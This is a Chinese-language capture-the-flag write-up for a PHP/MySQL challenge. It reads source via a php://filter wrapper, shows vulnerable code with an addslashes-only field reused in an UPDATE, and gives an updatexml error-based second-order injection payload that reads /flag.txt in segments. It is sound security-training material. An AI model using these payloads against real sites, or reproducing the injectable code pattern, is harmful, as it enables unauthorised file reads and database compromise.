知识点:二次注入,报错注入
解题过程
在网页源码中,发现题目 用php伪协议读取文件,?file=php://filter/convert.base64-encode/resource=index.php ,可以得到index.php,search.php,delete.php,config.php,confirm.php
其中 index.php对应主页面 confirm.php是录入收货人信息 search.php是查找数据库中的信息 delete.php是删除数据库中的信息 config.php如下
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
这几个文件源码都使用了关键词过滤,基本没有注入方法。然后change.php中,只对phone 和user_name 进行了过滤,而对address 只是使用addslashes() 函数,可以使用报错注入。
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
二次注入,报错注入
注意sql语句
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
使用updataxml 报错注入,updataxml 函数对字符串长度有限制,所以分段进行读取
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)
首先提交订单时将可用的sql语句提交 然后修改订单 因为报错,得到前一部分flag 同理,可得后部分flag
拼接可得完整的flag
|